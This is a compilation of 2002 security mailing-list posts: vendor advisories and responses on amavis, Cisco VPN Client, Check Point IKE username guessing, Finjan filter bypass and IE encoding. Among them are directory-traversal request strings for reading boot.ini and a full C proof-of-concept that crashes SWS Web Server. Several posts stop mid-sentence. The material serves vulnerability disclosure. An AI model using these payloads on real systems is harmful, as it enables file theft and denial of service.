GLSA: amavis
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - GENTOO LINUX SECURITY ANNOUNCEMENT - - PACKAGE:amavis SUMMARY:possible dos DATE :2002-09-05 10:30 UTC - - OVERVIEW possible DoS attack by a special crafted TAR archive file DETAIL The AMaViS shell script version (AMaViS 0.1.x / 0.2.x) uses securetar. securetar removes the pathes of files in a tar archive and makes each file name a unique name. Links, character devices, block devices and named pipes will be removed from the archive. A special-crafted TAR file may hung securetar forever, using up to 100% CPU time. More information can be found at: http://marc.theaimsgroup.com/?l=amavis-announcem=103121272122242w=2 SOLUTION It is recommended that all Gentoo Linux users who are running net-mail/amavis-0.2.1-r2 and earlier update their systems as follows: emerge rsync emerge amavis emerge clean - - [EMAIL PROTECTED] - GnuPG key is available at www.gentoo.org/~aliz - - -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9d1Y9fT7nyhUpoZMRAiXrAJsFH2TeGxyZx6jGO03PbUYDzaPu7QCfayd3 beUbZ/ZtN7EAjcRXdhTS34E= =M8tO -END PGP SIGNATURE-
Cisco Security Advisory: Cisco VPN Client Multiple Vulnerabilities - Second Set
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Cisco Security Advisory: Cisco VPN Client Multiple Vulnerabilities - Second Set Revision 1.0 For Public Release 2002 September 05 UTC 1500 -- Contents Summary Affected Products Details Impact Software Versions and Fixes Obtaining Fixed Software Workarounds Exploitation and Public Announcements Status of This Notice Distribution Revision History Cisco Security Procedures -- Summary Multiple vulnerabilities exist in the Cisco Virtual Private Network (VPN) Client software. These vulnerabilities are documented as Cisco Bug IDs CSCdt35749, CSCdt60391, CSCdw87717, CSCdx89416 and CSCdy37058. There are no workarounds available to mitigate the effects of these vulnerabilities. This advisory will be posted at http://www.cisco.com/warp/public/707/vpnclient-multiple2-vuln-pub.shtml. Affected Products The VPN Client software program runs on the following platforms. * Microsoft Windows based PC. * Red Hat Version 6.2 Linux (Intel), or compatible distribution, using kernel Version 2.2.12 or later. It does not support kernel Version 2.5. * Solaris UltraSPARC running a 32-bit or a 64-bit kernel OS Version 2.6 or later. * Mac OS X Version 10.1.0 or later. +-+ | DDTS Description | Affected Releases | |-+---| | CSCdt35749 - NETBIOS TCP| * earlier than | | packet vulnerability| 3.0.5 | | | * 2.x.x | |-+---| | CSCdt60391 - Group | * earlier than | | passwords visible using | 3.5.1C| | utility program | * 3.1.x | | | * 3.0.x | | | * 2.x.x | |-+---| | CSCdw87717 - Concentrator | * earlier than | | certificate identity| 3.5.1C| | vulnerability | * 3.1.x | | | * 3.0.x | | | * 2.x.x | |-+---| | CSCdx89416 - Random number | * earlier than | | generation improvement | 3.5.2B| | | * 3.1.x | | | * 3.0.x | | | * 2.x.x | |-+---| | CSCdy37058 - TCP filter | * 3.6(Rel) | | vulnerability | * earlier than | | | 3.5.4 | | | * 3.1.x | | | * 3.0.x | | | * 2.x.x | +-+ No other Cisco products are currently known to be affected by these vulnerabilities. Details The VPN Client software program on a remote workstation, communicating with a Cisco VPN device on an enterprise network or with a service provider, creates a secure connection over the Internet. Through this connection you can access a private network as if you were an onsite user. +-+ | DDTS Description | Details | |+| | CSCdt35749 - | The VPN Client is | | NETBIOS TCP packet | vulnerable to NETBIOS TCP | | vulnerability | packets that have their| || source and destination | || ports set to 137 (NETBIOS | || Name Service). Upon| || receiving such a packet, | || the VPN Client crashes.| |+| | CSCdt60391 - Group | There is a utility program | | passwords visible | under Windows that can | | using utility | decipher the group | | program| password field, which is | || shown as a series of | || asterisks (***...) on the | || authentication property| || page of the VPN Client.| |+| | CSCdw87717 - | When a VPN Client connects | | Concentrator | to a VPN Concentrator | | certificate| using certificates, the| | identity | VPN Client does not have |
RE: SecuRemote usernames can be guessed or sniffed using IKE exchange
Check Point Statement on use of IKE Aggressive Mode: A document has recently been published alleging vulnerabilities in the Check Point VPN-1/FireWall-1 product, involving the use of SecuRemote/SecureClient and IKE Aggressive mode. Check Point does not recommend the use of IKE Aggressive Mode, because of many well-known limitations in the protocol, and the Check Point products offer much more secure alternatives. In the vulnerability claim document, two issues were presented: 1) usernames are passed in cleartext using IKE Aggressive Mode 2) usernames are susceptible to brute-force guessing when using IKE Aggressive Mode The first item is merely an accurate description of the IKE protocol. Check Point has no bug or vulnerability, but has correctly implemented the IKE standard for Aggressive Mode. The passing of usernames in cleartext is common to any vendors of IKE products who support Aggressive Mode. The claim of a vulnerability is incorrect. Because of such well-known weaknesses in the IKE Aggressive Mode standard, Check Point authored and published an extension called Hybrid Mode which allows the secure use of all supported authentication schemes (e.g., RADIUS or TACACS) without sending usernames in cleartext. This extension has been incorporated in the product since the 4.1 SP1 release (February 2000), with hybrid mode recommended over Aggressive Mode for enhanced security. The second item exists only in VPN-1/FireWall-1 v4.1 modules which are still configured to support SecuRemote/SecureClient connections using IKE Aggressive Mode, despite the availability of more secure options in the product. Note, again, that the guessable usernames in this scenario are, by design of the IKE protocol, sent in cleartext. By default, Aggressive Mode is not enabled in NG. In 4.1, the recommended configuration is to disable Aggressive Mode and use Hybrid Mode instead (which involves no change to the user experience). This information, and any subsequent updates, will be posted to www.checkpoint.com/techsupport/alerts . -SwR Scott Walker Register FireWall-1 Product Manager Check Point Software Technologies, Inc. ph: 561.989.5418 fax: 561.997.9392 -Original Message- From: Roy Hills [mailto:[EMAIL PROTECTED]] Sent: Tuesday, September 03, 2002 7:09 AM To: [EMAIL PROTECTED] Subject: SecuRemote usernames can be guessed or sniffed using IKE exchange SecuRemote usernames can be guessed or sniffed using IKE exchange Introduction: - While performing a VPN security analysis for one of our customers, I discovered a potential issue with Firewall-1 SecuRemote IKE which can allow usernames to be guessed. I also observed the related issue that the SecuRemote IKE usernames are passed in the clear which allows them to be discovered by network sniffing. Full details of this issue are available at: http://www.nta-monitor.com/news/checkpoint.htm Issue summary: -- Firewall-1 versions 4.0 SP 7, 4.1 SP2, 4.1 SP6, NG Base, NG FP1 and NG FP2 allow username guessing using IKE aggressive mode. I have only tested against the specific versions shown but I suspect that the issue affects all versions from 4.0 to NG FP2. Note that 4.1 SP2 and NG FP1 are ITsec E3 certified versions of Firewall-1 when used in the appropriate configuration. When presented with a username in an appropriately formatted IKE aggressive mode packet, the Firewall will respond differently depending on whether the username is valid or not. This allows usernames to be guessed using a dictionary attack. Versions up to NG base also provide additional information about accounts that exist but are not valid for IKE for some reason; NG FP1 and FP2 do not provide this extra information although they still indicate if the user is valid or not. Checkpoint and CERT have been informed of this issue. Configuration: -- Firewall is Firewall-1 v4.1 SP6 VPN+DES+STRONG on Windows NT Server 4.0 SP6a using local user database (not using LDAP; no generic* user). I have also confirmed the issue on Firewall-1 4.0 SP7, NG Base, NG FP1 and NG FP2. All running on Windows NT. Client is Debian Linux 3.0 (woody) with 2.4.18 kernel running proprietary IKE username guessing program which was written in C. Issue Details: -- If we send an IKE Phase-1 aggressive mode packet with the following payloads: a) ISAKMP Header b) SA - Containing one proposal with four transforms c) Key Exchange - DH Group 2 d) Nonce e) Identification - Type ID_USER_FQDN, Value is SecuRemote username The Firewall will either send back an IKE notification message indicating that the user is not valid in some way, or it will respond with an aggressive mode packet indicating that the user exists and is valid. This is contrary to accepted security practice not to indicate if credentials are valid until all credentials have been supplied, and in the event that
RE: Bypassing the Finjan SurfinGate URL filter
Marc, Your issues have been escalated to me for resolution. I apologize for any delay; it is always our intention to respond immediately to any customer or product-related issue. Apologies aside, I would like to address the issues you brought up with regard to the Finjan SurfinGate URL List feature. SurfinGates help file makes the following statement regarding the intended usage of the URL List: The URL filtering feature is intended for use as a white list solution, and allows the entry of active content from trusted sites that may contain code that otherwise violates the organization's security policy. It can also be used to block known hostile sites, but from a security point of view, the URL filter has a limited assurance level for actual code blocking. It is not recommended to trust this list as a strong black list. Finjan positions the URL List as a content management feature that gives system administrators the ability to make security policy exceptions in order to allow trusted content. However, the URL List was not designed to be a strong black list, and that is why the help file currently does not recommend it for this purpose. These are known issues. Our proactive products are based on patented technologies, and the security doesn't depend on managed lists. Having said that, we WILL address the matter in an upcoming release as content management issue. In fact, in April of this year, Finjan announced a licensing agreement with SurfControl, the URL filtering company. In future versions of SFG, the SurfControl URL categorization component will be integrated with SFG for security purposes. This component will not allow this type of exploit. Thank you for your interest in Finjan Software and the SurfinGate family of products. It is our mission to provide the most robust, proactive content security solutions available in the market. I also thank you in advance for your patience. For any future issues, please address them directly to [EMAIL PROTECTED] or [EMAIL PROTECTED] as the [EMAIL PROTECTED] mailbox is more of a general marketing communication mailbox. Ken, Thank you for your posting. Regards, Menashe Eliezer Manager, Malicious Code Research Center Finjan Software http://www.finjan.com/mcrc Prevention is the best cure! -- -Original Message- From: Ken Fischer [mailto:[EMAIL PROTECTED]] Sent: Thursday, September 05, 2002 12:01 AM To: Marc Ruef; [EMAIL PROTECTED] Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: Bypassing the Finjan SurfinGate URL filter Marc, [EMAIL PROTECTED] seems to be a generic catch-all address for anything that doesn't have a more specific purpose. While I agree that it would be nice to have a reply, I wouldn't necessarily rely on it for a critical situation. Their support case form might have been a better way to get their attention quickly. :) In any case, I made one 30 second call to the Finjan support line, and a *very* helpful individual directed me to contact their Malicious Code Research Center ([EMAIL PROTECTED]). I am copying them on this reply, so that they have an opportunity to address your concerns ASAP. soapbox I urge anyone that is willing to take the time and effort necessary to write/research vulnerability reports to also be willing to take a minimum amount of effort to notify the vendor. If you aren't, the damage is sometimes worth more than the good that is done. /soapbox Disclaimer: I am not associated in any way with Finjan. I am simply a security professional that wants to make sure that the information is in the hands of the correct people. Best regards, -- Ken Fischer, CCNA [EMAIL PROTECTED] PGP Fingerprint: 9523 54B6 D67B BBFB 53B3 2F3B 7E81 0891 C495 CB50 -- On Wed, 4 Sep 2002, Marc Ruef wrote: Hi! I've found two possibilities to bypass the Finjan SurfinGate URL filter - Tested with Finjan SurfinGate 6.0x on Windows NT 4.0 and 2000. 1. IP Tunnel Normally humans use domain- and hostnames instead of IP addresses. Most users will add entries like www.computec.ch in the URL list of Finjan SurfinGate to filter specific webservers. The main problem is, that the SurfinGate never does a lookup of the contacted hostname. Now you can use IP addresses instead of hostnames to reach the wanted ressource. A limitation of this bypassing technique is, that it does not work with webservers, that use virual hosts. This problem is very heavy, if you use the SurfinGate as a plugin, where the internal processes don't work with hostnames (I think that Checkpoint Firewall-1 does it that way). Try to apply a rule to the proxy-mechanism for using always hostnames instead of IP addresses. A possible workaround is to add additionally to the hostnames the used IP addresses. Attention if the ressource uses virual hosting or have multiple ip addresses. This solution slows down the whole SurfinGate, because there is a new filtering line. 2. Dot/FQDN Tunnel In the Internet you have to use
RE: (Fwd) MSIEv6 % encoding causes a problem again
From: Nick FitzGerald [mailto:[EMAIL PROTECTED]] Hi Thor, Doesn't the following have similar implications to the issue in your TL#002 advisory?? Hi Nick, close but no cigar - yet. In its current state, this % encoding issue cannot escape protocol boundaries, which means that it cannot go from the Internet Zone to the My Computer Zone and execute commands or read local files. It can, however, do arbitrary cross domain scripting on any site in its current protocol, which means that you can steal cookies and read/change arbitrary content from foreign sites. If you e.g. have an HTTPS site yourself, you can read/change the content for any other HTTPS site dispalyed to the user - change the login form actions, read the users bank accounts, etc. The issue is not so much with escaped versions of / or \, but with escaping of characters in itself. When actually retrieving the content, IE looks at the escaped version of your URI and fetches your malicious code from brinkster.com (escaping the yahoo.com part makes it part of Basic Authentication). When it later needs to check cross domain security settings and see whether the 2 windows may communicate, it looks at the unescaped version of your URI - which by now is a reference to yahoo.com instead of brinkster.com, with the Basich Authentication being part of the filename. Regards Thor
advisory
--- UkR security team advisory WebServer 4 Everyone directory traversal bug - Name: WebServer 4 Everyone directory traversal bug Date:28.08.2002 Author: UkR-XblP/ UkR security team/ http://ust.dp.ua Application: WebServer 4 Everyone Version: 1.22 URL:http://www.freeware.lt/ Risk: An attacker can view every file in the remote sys About: WebServer 4 Everyone is a commercial webserver that runs on Win32 systems. Bug: problem is caused by the character '\' (%5c) that is not checked as bad character, so the server follow the path in the URI that the attacker give until it reach the file requested. Exploits: http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini or GET /\..\..\..\..\..\boot.ini HTTP/1.0 This last is an HTTP request that can be sent with telnet because some browsers can modify the \.. chars. Greetz: 2 Nadya Ostafiychuk - happy birthday !!! ;) --- Professional hosting for everyone - http://www.host.ru
Re: SWS Web Server v0.1.0 Exploit
Dear [EMAIL PROTECTED],
I don't believe this is largest problem of this webserver... There is
a lot of others:
1. Directory traversal (../) (it never drops root priveleges it needs to
bind to TCP/80).
2. It never closes file descriptor for 404 document, so it can be used to
DoS remote system completely by repeating request to nonexistent
document..
3. It allows only 1 connection in time and never timeouts.
4. If recv() fails it will overwrite 1 byte before allocated buffer and
repeat previous query. If first recv() fails it will try to do some
action on uninitialized heap data.
One should be completely nuts to use it because there's too many bugs
for 130 lines of code :)
--Monday, September 2, 2002, 10:04:23 PM, you wrote to [EMAIL PROTECTED]:
shc -BEGIN PGP SIGNED MESSAGE-
shc Hash: SHA1
shc /*
shc * Mon Sep 2 17:45:04 2002
shc *
shc * |SaMaN| aka Mert [EMAIL PROTECTED]
shc *
shc * Information : Anyone can kill SWS Web Server v0.1.0 remotely.
shc *
shc * Proof of Concept Exploit for SWS Web Server v0.1.0
shc *
shc * SWS homepage : http://www.linuxprogramlama.com
shc *
shc * Tested on: Slackware 8.1 - 2.4.18
shc * : Redhat 7.0- 2.2.16-22
shc *
shc * Problem : sws_web_server.c
shc * : line 108
shc * : if (recvBuffer[i - 1] != '\n') break;
shc *
shc * Q : So what will happen when we send a string not end with '\n' ?
shc * A : break break break
shc * Q : So root should restart web server everytime ?
shc * A : Yes
shc * Q : Other web servers act like this ?
shc * A : No
shc * Q : So something is wrong ?
shc * A : Yes :)
shc *
shc */
shc #include stdio.h
shc #include stdlib.h
shc #include unistd.h
shc #include errno.h
shc #include string.h
shc #include netdb.h
shc #include sys/types.h
shc #include netinet/in.h
shc #include sys/socket.h
shc #define K \033[1;31m
shc #define Y \033[1;32m
shc #define SA \033[1;33m
shc #define M \033[1;34m
shc #define PORT 80
shc int main(int argc, char *argv[])
shc {
shcint sockfd, numbytes;
shcstruct hostent *adres;
shcstruct sockaddr_in hedef;
shcchar buf[8] = |SaMaN|;
shcif (argc != 2) {
shc printf(%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n, K);
shc printf(%sSWS Web Killer ([EMAIL PROTECTED]) \n, SA);
shc printf(%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n, K);
shc printf(%sUsage: ./sws_web_killer %sIP \n,Y,M);
shc return 0;
shc}
shcif ((adres=gethostbyname(argv[1])) == NULL) {
shc perror(gethostbyname);
shc exit(1);
shc}
shcif ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
shc perror(socket);
shc exit(1);
shc}
shchedef.sin_family = AF_INET;
shchedef.sin_port = htons(PORT);
shchedef.sin_addr = *((struct in_addr *)adres-h_addr);
shcmemset((hedef.sin_zero), '\0', 8);
shcif (connect(sockfd, (struct sockaddr *)hedef,
shc sizeof(struct sockaddr)) == -1)
shc{
shc perror(connect);
shc exit(1);
shc}
shcif ((numbytes=send(sockfd, buf, strlen(buf), 0)) == -1) {
shc perror(send);
shc exit(1);
shc}
shcclose(sockfd);
shcreturn 0;
shc }
shc -BEGIN PGP SIGNATURE-
shc Version: Hush 2.1
shc Note: This signature can be verified at https://www.hushtools.com
shc wlYEARECABYFAj1zqVwPHHNhbWFuQGh1c2guY29tAAoJEAH/SwbH8cXFjRIAniyG5sTp
shc 9dPQOfCYbPdtlwHYawc8AKCSvQ23yBZszI97DmMt+maxaqgqOg==
shc =tmWT
shc -END PGP SIGNATURE-
shc Get your free encrypted email at https://www.hushmail.com
--
~/ZARAZA
Òàêèì îáðàçîì ýòîò ïóòü äåøåâëå è ê íåìó ëåã÷å äîáðàòüñÿ
òîìó, êòî â ñîñòîÿíèè äî íåãî äîáðàòüñÿ. (Òâåí)
